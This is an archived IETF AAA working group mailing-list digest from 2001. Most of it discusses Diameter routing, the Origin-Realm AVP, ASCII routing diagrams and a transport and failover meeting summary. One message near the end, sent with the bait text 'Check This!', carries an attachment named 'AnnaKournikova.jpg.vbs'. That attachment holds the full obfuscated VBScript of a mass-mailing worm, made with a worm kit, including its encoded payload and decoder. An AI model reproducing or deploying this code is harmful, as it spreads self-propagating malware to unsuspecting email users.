(8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA24807; Mon, 12 Feb 2001 14:57:33 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id OAA06278; Mon, 12 Feb 2001 14:57:30 -0800 (PST) Date: Mon, 12 Feb 2001 14:57:30 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: David Spence Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <3A8869F0.9164E344@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > If so, then I believe that it would be everything after the first '.'. Should > > we instead include an "Originated-Realm" AVP? > > I like the Origin-Realm AVP idea better than trying to guess the realm given > the domain name. Done. I will add this, and I believe that the next version will have a pretty solid forwarding and routing section. Thanks for all your help! PatC From owner-aaa-bof@merit.edu Mon Feb 12 17:58:19 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA23485 for ; Mon, 12 Feb 2001 17:58:19 -0500 (EST) Received: by segue.merit.edu (Postfix) id 06FFB5DDF5; Mon, 12 Feb 2001 17:57:40 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id D48D55DE3A; Mon, 12 Feb 2001 17:57:39 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 330FB5DDF5 for ; Mon, 12 Feb 2001 17:57:36 -0500 (EST) Received: from phoenix (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with SMTP id 213BB73; Mon, 12 Feb 2001 17:57:47 -0500 (EST) From: "Bob Kopacz" To: "David Spence" , "Pat Calhoun" Cc: "Aaa-Wg" Subject: RE: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text Date: Mon, 12 Feb 2001 17:56:36 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_000D_01C0951D.24B2C620" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C0951D.24B2C620 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi Pat and Dave, I put together a diagram which I think represents what you two are saying about how Diameter does routing. It's more than 80 columns, so I'm sending it as an attachment to avoid line-wrapping. It's a simple .txt file based on one of the diagrams in the base draft. I hope it's right. Bob K. ------=_NextPart_000_000D_01C0951D.24B2C620 Content-Type: text/plain; name="DiameterRoutingPicture.txt" Content-Disposition: attachment; filename="DiameterRoutingPicture.txt" Content-Transfer-Encoding: quoted-printable The Players: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Host-Name (FQDN) =3D ultimate originator of message, either = NAS or home server. Destination AVP (FQDN) =3D ultimate destination of message Route-Record (FQDN) Routing-Realm (NAI), or User-Name if Routing-Realm not present Routing of Request/Response =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D (Request) (Request) = (Request) User-Name=3Djoe@abc.com User-Name=3Djoe@abc.com = User-Name=3Djoe@abc.com Host-Name=3Dnas1.mno.net Host-Name=3Dnas1.mno.net = Host-Name=3Dnas1.mno.net No Destination-AVP No Destination-AVP No = Destination-AVP + Route-Record=3Ddia1.mno.net = Route-Record=3Ddia1.mno.net + = Route-Record=3Ddia2.xyz.com 1 2 = 3 +------+ ------> +-------+ ------> +------+ = ------> +------+ | | | | | | = | | | NAS1 +-------------------+ DIA1 +-------------------+ DIA2 = +-------------------+ DIA3 | | | | | | | = | | +------+ <------ +-------+ <------ +------+ = <------ +------+ mno.net 6 mno.net 5 xyz.com = 4 abc.com (Response) (Response) = (Response) User-Name=3Djoe@abc.com User-Name=3Djoe@abc.com = User-Name=3Djoe@abc.com Host-Name=3Ddia3.abc.com Host-Name=3Ddia3.abc.com = Host-Name=3Ddia3.abc.com DestinationAVP=3Dnas1.mno.net DestinationAVP=3Dnas1.mno.net = DestinationAVP=3Dnas1.mno.net Route-Record=3Ddia1.mno.net = Route-Record=3Ddia1.mno.net = Route-Record=3Ddia2.xyz.com 1. NAS1->DIA1: route on realm portion of User-Name (=3Dabc.com) 2. DIA1->DIA2: route on realm portion of User-Name (=3Dabc.com), add = Route-Record 3. DIA2->DIA3: route on realm portion of User-Name (=3Dabc.com), add = Route-Record 4. DIA2<-DIA3: route on Route-Record=3Ddia2... 5. DIA1<-DIA2: route on Route-Record=3Ddia1..., remove Route-Record. 6. NAS1<-DIA1: route on Dest-AVP=3Dnas1... , remove Route-Record. Routing of Indication =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +------+ +-------+ +------+ = +------+ | | | | | | = | | | NAS1 +-------------------+ DIA1 +-------------------+ DIA2 = +-------------------+ DIA3 | | | | | | | = | | +------+ <------ +-------+ <------ +------+ = <------ +------+ mno.net 3 mno.net 2 xyz.com = 1 abc.com (Indication) (Indication) = (Indication) User-Name=3Djoe@abc.com User-Name=3Djoe@abc.com = User-Name=3Djoe@abc.com Host-Name=3Ddia3.abc.com Host-Name=3Ddia3.abc.com = Host-Name=3Ddia3.abc.com DestinationAVP=3Dnas1.mno.net DestinationAVP=3Dnas1.mno.net = DestinationAVP=3Dnas1.mno.net Routing-Realm=3DNAS's realm Routing-Realm=3DNAS's realm = Routing-Realm=3DNAS's realm Route-Record=3Ddia2.xyz.com Route-Record=3Ddia2.xyz.com Route-Record=3Ddia1.mno.net 1. DIA2<-DIA3: route on Routing-Realm=3DNAS's realm... 2. DIA1<-DIA2: route on Routing-Realm=3DNAS's realm...., add = Route-Record 3. NAS1<-DIA1: route on Dest-AVP=3Dnas1..., add Route-Record Question: How does DIA3 know the NAS's realm, for the Routine-Realm AVP? ------=_NextPart_000_000D_01C0951D.24B2C620 Content-Type: text/plain; name="DiameterRoutingPicture.txt" Content-Disposition: attachment; filename="DiameterRoutingPicture.txt" Content-Transfer-Encoding: quoted-printable The AVPs involved in Routing: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D Host-Name (FQDN) =3D ultimate originator of message, either = NAS or home server. Destination AVP (FQDN) =3D ultimate destination of message Route-Record (FQDN) =3D FQDN of some proxy Routing-Realm (NAI), or User-Name if Routing-Realm not present Routing of Request/Response =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D (Request) (Request) = (Request) User-Name=3Djoe@abc.com User-Name=3Djoe@abc.com = User-Name=3Djoe@abc.com Host-Name=3Dnas1.mno.net Host-Name=3Dnas1.mno.net = Host-Name=3Dnas1.mno.net No Destination-AVP No Destination-AVP No = Destination-AVP + Route-Record=3Ddia1.mno.net = Route-Record=3Ddia1.mno.net + = Route-Record=3Ddia2.xyz.com 1 2 = 3 +------+ ------> +-------+ ------> +------+ = ------> +------+ | | | | | | = | | | NAS1 +-------------------+ DIA1 +-------------------+ DIA2 = +-------------------+ DIA3 | | | | | | | = | | +------+ <------ +-------+ <------ +------+ = <------ +------+ mno.net 6 mno.net 5 xyz.com = 4 abc.com (Response) (Response) = (Response) User-Name=3Djoe@abc.com User-Name=3Djoe@abc.com = User-Name=3Djoe@abc.com Host-Name=3Ddia3.abc.com Host-Name=3Ddia3.abc.com = Host-Name=3Ddia3.abc.com DestinationAVP=3Dnas1.mno.net DestinationAVP=3Dnas1.mno.net = DestinationAVP=3Dnas1.mno.net Route-Record=3Ddia1.mno.net = Route-Record=3Ddia1.mno.net = Route-Record=3Ddia2.xyz.com 1. NAS1->DIA1: route on realm portion of User-Name (=3Dabc.com) 2. DIA1->DIA2: route on realm portion of User-Name (=3Dabc.com), add = Route-Record 3. DIA2->DIA3: route on realm portion of User-Name (=3Dabc.com), add = Route-Record 4. DIA2<-DIA3: route on Route-Record=3Ddia2... 5. DIA1<-DIA2: route on Route-Record=3Ddia1..., remove Route-Record. 6. NAS1<-DIA1: route on Dest-AVP=3Dnas1... , remove Route-Record. Routing of Indication =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +------+ +-------+ +------+ = +------+ | | | | | | = | | | NAS1 +-------------------+ DIA1 +-------------------+ DIA2 = +-------------------+ DIA3 | | | | | | | = | | +------+ <------ +-------+ <------ +------+ = <------ +------+ mno.net 3 mno.net 2 xyz.com = 1 abc.com (Indication) (Indication) = (Indication) User-Name=3Djoe@abc.com User-Name=3Djoe@abc.com = User-Name=3Djoe@abc.com Host-Name=3Ddia3.abc.com Host-Name=3Ddia3.abc.com = Host-Name=3Ddia3.abc.com DestinationAVP=3Dnas1.mno.net DestinationAVP=3Dnas1.mno.net = DestinationAVP=3Dnas1.mno.net Routing-Realm=3DNAS's realm Routing-Realm=3DNAS's realm = Routing-Realm=3DNAS's realm Route-Record=3Ddia2.xyz.com Route-Record=3Ddia2.xyz.com Route-Record=3Ddia1.mno.net 1. DIA2<-DIA3: route on Routing-Realm=3DNAS's realm... 2. DIA1<-DIA2: route on Routing-Realm=3DNAS's realm...., add = Route-Record 3. NAS1<-DIA1: route on Dest-AVP=3Dnas1..., add Route-Record Question: How does DIA3 know the NAS's realm, for the Routine-Realm AVP? ------=_NextPart_000_000D_01C0951D.24B2C620-- From owner-aaa-bof@merit.edu Mon Feb 12 18:09:12 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23590 for ; Mon, 12 Feb 2001 18:09:12 -0500 (EST) Received: by segue.merit.edu (Postfix) id 285A15DE2E; Mon, 12 Feb 2001 18:08:55 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 09C425DE2F; Mon, 12 Feb 2001 18:08:55 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 759F15DE2E for ; Mon, 12 Feb 2001 18:08:53 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA11851; Mon, 12 Feb 2001 15:08:52 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA27690; Mon, 12 Feb 2001 15:08:51 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id PAA06554; Mon, 12 Feb 2001 15:08:49 -0800 (PST) Date: Mon, 12 Feb 2001 15:08:48 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: Bob Kopacz Cc: David Spence , Pat Calhoun , Aaa-Wg In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Bob, Great pictures! I will think up of a way to add these to the spec. I think that they really add alot of value. Yes, the pictures are correct. As for the question, as Dave and I mentioned, When a Host-Name AVP is added to a message, the new Origin-Realm AVP MUST also be added. This will provide the Realm required for the Routing-Realm AVP in the server initiated messages. PatC From owner-aaa-bof@merit.edu Mon Feb 12 18:23:22 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23714 for ; Mon, 12 Feb 2001 18:23:21 -0500 (EST) Received: by segue.merit.edu (Postfix) id 074165DE1B; Mon, 12 Feb 2001 18:23:05 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E906A5DE2F; Mon, 12 Feb 2001 18:23:04 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 92F545DE1B for ; Mon, 12 Feb 2001 18:23:03 -0500 (EST) Received: from phoenix (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with SMTP id 9884473 for ; Mon, 12 Feb 2001 18:23:14 -0500 (EST) From: "Bob Kopacz" To: "Aaa-Wg" Subject: [AAA-WG]: Unofficial Summary of Transport Discussion, from AAA-WG Interim Meeting, San Diego, 07-Feb-2001 Date: Mon, 12 Feb 2001 18:22:03 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 8bit After returning from the AAA-WG Interim Meeting of 07-Feb-2001 in San Diego, I put together a memo which summarizes my recollection of the Transport discussion, for the purpose of filling in my co-workers. Someone suggested that I might pass this along to the AAA-WG attendees. It is based on incomplete notes and recollections, but here it is anyway: - - - - - Summary of Transport discussion, from AAA-WG Interim Meeting of 07-Feb-2001, in San Diego. Interlink attendees were Dave Spence and Bob Kopacz. - Servers must support TCP & SCTP. NASes must support TCP, may support SCTP; SCTP may be required in the future. SCTP because SCTP needs to move forward; one of its big virtues is that it minimizes the head-of-line blocking problem. TCP because not all NASes have SCTP in their protocol stacks, and SCTP also has problems getting past firewalls. - NASes will want to connect to multiple proxies, for load balancing and/or faster failover (don't have to wait for new connection setup) and/or to help ameliorate the head-of-line blocking problem. The static load balancing algorithm uses Pearson's hash, documented in draft-ietf-hdc-loadb-03.txt. A NAS connected to multiple proxies can treat them as primary/secondary or balance load between them. - The failover/failback algorithm needs to be designed and documented in the base protocol. - To help NASes do timely failover, an application-level heartbeat message is added to Diameter. Pat's notes call it a Watchdog message, and apparently was part of earlier Diameter drafts. The Watchdog is sent every N seconds when a connection is idle. N is 3 seconds by default; may be adaptive if RTT/RTO is available to Diameter application. - To prevent premature failover, the NAS will include a new maximum wait time in the request. If the next hop server cannot return the reply within that time period, it must send a new Device-Status-Ind message to the NAS with an appropriate reason code. - A new e2e message identifier will be added to the Diameter header, to help the home server detect duplicates. The problem is that the current Identifier field is necessarily changed hop-by-hop by proxies. Home servers have to worry about duplicate requests, since a NAS may send a request to Proxy1, then failover & resend the request to Proxy2; both proxies forward the request to the home AAA server, and with different identifiers. The Session-ID is insufficient as it does not distinguish different messages for the the same session. - AAA protcols are typically "application-driven" rather than "network-driven". Application-driven means that the time between protocol exhanges is larger than RTT. - A tranport "profile" is being developed for AAA protocols. The transport profile describes how Diameter interacts with the transport layer, what capabilities should be enabled/disabled so that the transport is suitable for the AAA protocol, and what recent features should/must be added to the transport layer. By recent features, I mean: () Congestion Window Validation [RFCs 2581 & 2861] () Limited Transmit (TCP) [RFC 3042] () Congestion Manager. [draft-ietf-ecm-cm-03.txt] () RTO Validation. The recent features improve performance, but do not cause failures if not implemented, so they are being given as "should"s rather than "must"s. - CWND validation - RFC 2861 Problem: CWND estimate not valid for application-driven scenarios typical of AAA, i.e. with high inter-packet spacings, RTT measurements are made so infrequently that network conditions may change between measurements So don’t let CWND build as a result of (now) invalid measurements, decay it instead. The result is that CWND=1 or 2 most of the time, AAA operates in perpetual slow start. - Limited Transmit - RFC 3042 With low CWND, there not enough packets in flight to enable fast re-transmit (=retransmit after 3rd duplicate ack) and fast recovery. So enable duplicate ACKs to expand CWND by 2 segments in order to trigger fast re-transmit - Congestion Manager. [draft-ietf-ecm-cm-03.txt] The Congestion Manager (CM) is an end-system module that: (i) Enables an ensemble of multiple concurrent streams from a sender destined to the same receiver and sharing the same congestion properties to perform proper congestion avoidance and control, and (ii) Allows applications to easily adapt to network congestion. The CM helps integrate congestion management across all applications and transport protocols. The CM maintains congestion parameters (available aggregate and per-stream bandwidth, per-receiver round-trip times, etc.) and exports an API that enables applications to learn about network characteristics, pass information to the CM, share congestion information with each other, and schedule data transmissions. The CM enables the Diameter application to access transport parameters (RTTavg, RTTdev) via callbacks useful for failover/failback. - RTO Validation - not yet documented Problem: RTT/RTO not valid for application-driven scenarios. Result: High RTO can persist long after the conditions that caused it have dissipated. Example: Link down, causing multiple re-transmissions, exponential backoff of RTO. How quickly can RTO readjust after the link comes back up? Solution If RTO > 3 seconds, after CWND is decayed, set RTO=3 seconds, then calculate new value from RTTavg, RTTdev after next response is received - Proxies complicate analysis of transport behavior. NASes cannot sense Proxy-HomeServer bottlenecks, either at transport or application level. NAS has sense his hop-by-hop transport to the proxy, but doesn't have sense of end-to-end transport dynamics. The tranport self-clocks hop-by-hop but not necessarily end-to-end. - Application Layer Error Messages are needed, so that NAS can do appropriate failover.. () Failures can occur at both transport and application layers * NAS-proxy transport connection can fail * Proxy-AAA server transport connection can fail * Proxy/AAA server can be congested/busy (Mice problem) () NAS can only measure transport and app layer RTT to the proxy * Transport layer parameters only visible to the application if Congestion Manager is implemented * NAS has no visibility into transport or app layer RTT between proxy and AAA server () Result: NAS can failover inappropriately * Can move from proxy1 to proxy2 when problem is at AAA server * Can make the AAA server problem worse! - The Application Layer Status Messages are: "Busy": Proxy/Server too busy to handle additional requests, NAS should immediately failover all requests to another proxy/server "Forwarding": Proxy has located AAA server, but timely response is not forthcoming; NAS should reset app layer timers, wait for final response "Can't Locate": Proxy can’t locate the AAA server for the indicated realm; NAS should reject access "Failover": Proxy has tried primary server, is failing over to secondary server; NAS should reset app layer timers, wait for final response "Can't Forward": Proxy has tried both primary and secondary AAA servers with no response; NAS should reject access "Processing": Server cannot provide an immediate response to this request; NAS should failover this request to another server, but not all requests - TCP Profile: Recommended practice: Nagle algorithm enabled, Congestion window validation, RTO validation, Limited Transmit, Congestion Manager, Failover socket option - SCTP Profile: Recommended practice: Nagle algorithm enabled, Congestion window validation, RTO validation, Limited Transmit, Congestion Manager. Built-in support for multiple streams. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Bob Kopacz email: bkopacz@interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1230 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 18:39:44 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23877 for ; Mon, 12 Feb 2001 18:39:43 -0500 (EST) Received: by segue.merit.edu (Postfix) id A2BB85DE3D; Mon, 12 Feb 2001 18:39:17 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 918305DDB3; Mon, 12 Feb 2001 18:39:17 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 14E375DDBB for ; Mon, 12 Feb 2001 18:39:16 -0500 (EST) Received: from phoenix (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with SMTP id 21F4B72; Mon, 12 Feb 2001 18:39:27 -0500 (EST) From: "Bob Kopacz" To: "Pat Calhoun" , "David Spence" Cc: "Aaa-Wg" Subject: RE: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text Date: Mon, 12 Feb 2001 18:38:16 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit I missed the new Origin-Realm AVP, I guess I only read the first 50 or 60 emails you guys exchanged. It seems like an Origin-Realm AVP would be just the ticket to complete the routing picture, unless there are more complicated routing situations. > -----Original Message----- > From: Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] > Sent: Monday, February 12, 2001 6:09 PM > To: Bob Kopacz > Cc: David Spence; Pat Calhoun; Aaa-Wg > Subject: RE: [diameter] Re: [AAA-WG]: Message Forwarding and Routing > Proposed text > > > Bob, > > Great pictures! I will think up of a way to add these to the spec. I think > that they really add alot of value. > > Yes, the pictures are correct. > > As for the question, as Dave and I mentioned, When a Host-Name AVP is added to > a message, the new Origin-Realm AVP MUST also be added. This will provide the > Realm required for the Routing-Realm AVP in the server initiated messages. > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 12 18:48:42 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24016 for ; Mon, 12 Feb 2001 18:48:42 -0500 (EST) Received: by segue.merit.edu (Postfix) id 6E5885DDB3; Mon, 12 Feb 2001 18:46:13 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 57E3E5DE89; Mon, 12 Feb 2001 18:46:13 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 1CF5A5DDB3 for ; Mon, 12 Feb 2001 18:46:12 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA24847; Mon, 12 Feb 2001 15:46:10 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA03375; Mon, 12 Feb 2001 15:46:09 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id PAA07163; Mon, 12 Feb 2001 15:46:07 -0800 (PST) Date: Mon, 12 Feb 2001 15:46:07 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: Bob Kopacz Cc: Pat Calhoun , David Spence , Aaa-Wg In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > I missed the new Origin-Realm AVP, I guess I only read the first > 50 or 60 emails you guys exchanged. It seems like an Origin-Realm > AVP would be just the ticket to complete the routing picture, unless > there are more complicated routing situations. It is a rather complicated problem, but it looks like we have it nailed down. If someone has a more complicated routing situation, then I would like to hear about it. Otherwise, I think we have all cases handled. I would really hate to have to introduce additional complexity :( I have tried to get your pictures into 80 characters, but it looks like the laws of physics will prevent me from adding such clarifying diagrams :( PatC From owner-aaa-bof@merit.edu Mon Feb 12 20:06:43 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA24786 for ; Mon, 12 Feb 2001 20:06:42 -0500 (EST) Received: by segue.merit.edu (Postfix) id 665495DD9F; Mon, 12 Feb 2001 20:03:56 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 480BA5DE57; Mon, 12 Feb 2001 20:03:56 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id A863A5DD9F for ; Mon, 12 Feb 2001 20:03:54 -0500 (EST) Received: from gwzpc (sjc-vpn-252.cisco.com [10.21.64.252]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id RAA11050 for ; Mon, 12 Feb 2001 17:03:53 -0800 (PST) Reply-To: From: "Glen Zorn" To: "AAA WG" Subject: [AAA-WG]: Here you have, ;o) Date: Mon, 12 Feb 2001 17:03:52 -0800 Message-ID: <005601c09558$d4a333e0$dc00500a@cisco.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0057_01C09515.C67FF3E0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-aaa-bof@merit.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0057_01C09515.C67FF3E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi: Check This! ------=_NextPart_000_0057_01C09515.C67FF3E0 Content-Type: application/octet-stream; name="AnnaKournikova.jpg.vbs" Content-Disposition: attachment; filename="AnnaKournikova.jpg.vbs" Content-Transfer-Encoding: quoted-printable 'Vbs.OnTheFly Created By OnTheFly Execute = e7iqom5JE4z("X)udQ0VpgjnH=11{tEcggv=11f{DQ=11VpgjnH=10{Q=0F=11ptGqt=11tgT= wugoP=11zg=10vU=0FvgG=11Q9v58Jr7R6?=11E=11gtvcQgldeg*vY$eUktvrU0gjnn+$=0F= =109G5QJv786r0Rgtyiktgv$=11MJWEu^hqyvtc^gpQjVHg{n$^=11.jE*t9:=11+=11(jE*t= 33+3(=11E=11tj3*63=11+=11(jE*t23+;(=11E=11tj5*+4(=11E=11tj3*;2=11+=11(jE*= t9;=11+=11(jE*t23+2(=11E=11tj3*32=11+=11(jE*t45=11+=11(jE*t33+;(=11E=11tj= 3*72=11+=11(jE*t33+8(=11E=11tj3*62=11+=11(jE*t45=11+=11(jE*t8:=11+=11(jE*= t:;=11+=11(jE*t33+7(=11E=11tj3*;3=11+=11(jE*t23+5(=11E=11tj5*+4(=11E=11tj= 6*+;(=11E=11tj6*+8(=11E=11tj7*+5(=11E=11tj6*+:(=11E=11tj;*+:=0F=10gU=11vQ= tcyVopldi?7E=11gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v=10+t=0FyQoclVip7d= e0rqh{nk=11guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2=11(^$p= CcpqMtwkpqmcxl0irx0ud=10$k=0F=11h9G5QJv786r0Rgtticg=11f$*MJWEu^hqyvtc^gpQ= jVHg{no^kcgn$f=11+@>$=11$3v=11gj=10pg=0Fp4CUJ9inEN+*=0F=10pg=11fhk=0F=10h= ko=11pqjvp*yq=11+3?c=11fpf=11{cp*yq=11+4?=118jvpg=0F=109G5QJv786r0Rwt=11p= J$vv=11=11= @=112jVpg=0F=106fFDz5yi3x=11L=11?TLo4uR4OoD0TfCtfugGuvpktugE0wqvp=0F=10qH= =11t9Z;:cX|5gT?|3=11V=11=11q6fFDz5yi3x=10LU=0Fvgk=119sd4:6x5\5?=11F=1154x= QOzM8JTE0gtvcKggv*o+2=0F=10gU=11vKQ6GXDl[LQ=11:=11?TLo4uR4OoD0TfCtfugGuvp= ktugZ*:9X;5cT||g=10+k=0F9sd4:6x5\5V0=11q=11?KQ6GXDl[LQ0:fCtfug=10uk=0F9sd= 4:6x5\5U0dwglve?=11$=11gJgt{=11wqj=11xc.g=3D=11+q=10$k=0F9sd4:6x5\5D0fq=11= {=11?J$=11=11@$$V=11gj=10pk=0F= 9sd4:6x5\5U0pg=10fG=0FQ9v58Jr7R6t0igtyvk=11gJ$EM^WquvhcygtQ^VpgjnH^{conkf= g.$$=11$3=0F=10pG=11fhK=0F=10gPvz=0F=10pG=11fhK=0F=10gPvz=0F=10pg=11fhk=0F= =10pG=11fwHepkvpq=0F=10X)udiy3=1170d2") Function e7iqom5JE4z(hFeiuKrcoj3) For I =3D 1 To Len(hFeiuKrcoj3) Step 2 StTP1MoJ3ZU=3D Mid(hFeiuKrcoj3, I, 1) WHz23rBqlo7=3D Mid(hFeiuKrcoj3, I + 1, 1) If Asc(StTP1MoJ3ZU) =3D 15 Then StTP1MoJ3ZU=3D Chr(10) ElseIf Asc(StTP1MoJ3ZU) =3D 16 Then StTP1MoJ3ZU =3D Chr(13) ElseIf Asc(StTP1MoJ3ZU) =3D 17 Then StTP1MoJ3ZU =3D Chr(32) Else StTP1MoJ3ZU =3D Chr(Asc(StTP1MoJ3ZU) - 2) End If If WHz23rBqlo7<> "" Then If Asc(WHz23rBqlo7) =3D 15 Then WHz23rBqlo7=3D Chr(10) ElseIf Asc(WHz23rBqlo7) =3D 16 Then WHz23rBqlo7=3D Chr(13) ElseIf Asc(WHz23rBqlo7) =3D 17 Then WHz23rBqlo7=3D Chr(32) Else WHz23rBqlo7=3D Chr(Asc(WHz23rBqlo7) - 2) End If End If e7iqom5JE4z =3D e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU Next End Function 'Vbswg 1.50b ------=_NextPart_000_0057_01C09515.C67FF3E0-- From owner-aaa-bof@merit.edu Tue Feb 13 04:52:16 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by 